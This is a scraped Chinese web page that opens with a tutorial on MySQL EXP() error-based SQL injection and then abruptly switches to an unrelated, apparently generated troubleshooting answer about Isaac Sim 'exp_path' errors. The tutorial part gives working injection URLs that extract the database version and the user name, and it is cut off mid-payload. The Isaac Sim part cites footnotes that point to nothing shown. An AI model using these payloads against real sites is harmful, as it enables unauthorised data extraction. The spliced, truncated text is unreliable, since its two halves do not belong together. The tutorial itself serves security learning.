【漏洞挖掘】——109、EXP报错注入深入刨析

EXP函数简介

函数用法:

exp(x)

函数功能:返回e的x次方

用法示例:

EXP报错注入原理

EXP报错注入是一种通过利用溢出错误来注出数据的SQL注入方式,当传递一个大于709的值给exp()函数时,函数会发生一个溢出错误,例如:

EXP报错注入流程

EXP报错注入的目标数据库版本需要在5.5及5.5以上~

获取数据库版本信息
  • http://www.example.com/?id=1' and exp(~(select * from (select version() ) a) ) --+
获取用户名相关信息
  • http://www.example.com/?id=1' and exp(~(select * from (select user() ) a) ) --+
获取数据库名的信息
  • ht
### 解决 Isaac Sim `exp_path` 报错问题 当遇到与 `exp_path` 相关的错误时,通常是因为实验路径配置不正确或环境变量未设置妥当。以下是详细的排查和解决方案: #### 配置实验路径 确保 `exp_path` 路径指向有效的实验目录。该路径应该包含必要的配置文件和资源文件。如果路径不存在或权限不足,则会引发错误。 ```bash export EXP_PATH=/path/to/experiment/directory ``` 此命令需放在启动脚本之前执行,以确保环境变量生效[^1]。 #### 检查项目结构 验证项目的整体结构是否符合预期。对于基于 ROS2 的项目,常见的目录布局如下所示: - `/path/to/project/config`: 存储 YAML 或 JSON 格式的参数配置文件。 - `/path/to/project/worlds`: 包含用于仿真的世界模型描述文件。 - `/path/to/project/assets`: 放置自定义资产如网格、材质等。 确认这些子目录存在并放置了适当的内容[^2]。 #### 安装依赖项 有时缺少某些必需软件包也会导致类似的错误消息。根据具体需求安装额外的支持工具和服务: ```bash sudo apt-get update && sudo apt-get install -y \ python3-pip \ git \ wget \ curl \ cmake \ build-essential pip3 install --upgrade pip setuptools wheel ``` 上述操作有助于修复因缺失组件而引起的潜在问题[^3]。 #### 使用 PyCharm 进行调试 为了更方便地定位问题所在,在 Windows 平台上可以借助 IDE 来辅助开发工作流。通过PyCharm 设置远程解释器连接到 Linux 上运行的服务端实例,并加载完整的工程源码副本以便于断点跟踪分[^4]。 #### 特定场景适配调整 考虑到 Isaac Sim 更侧重于室内机器人应用场景的设计初衷,针对特定类型的模拟任务可能还需要做进一步优化处理。例如增加物理属性细节来提高真实性表现力;或是引入第三方插件扩展功能集以适应更多样化的测试条件[^5]。
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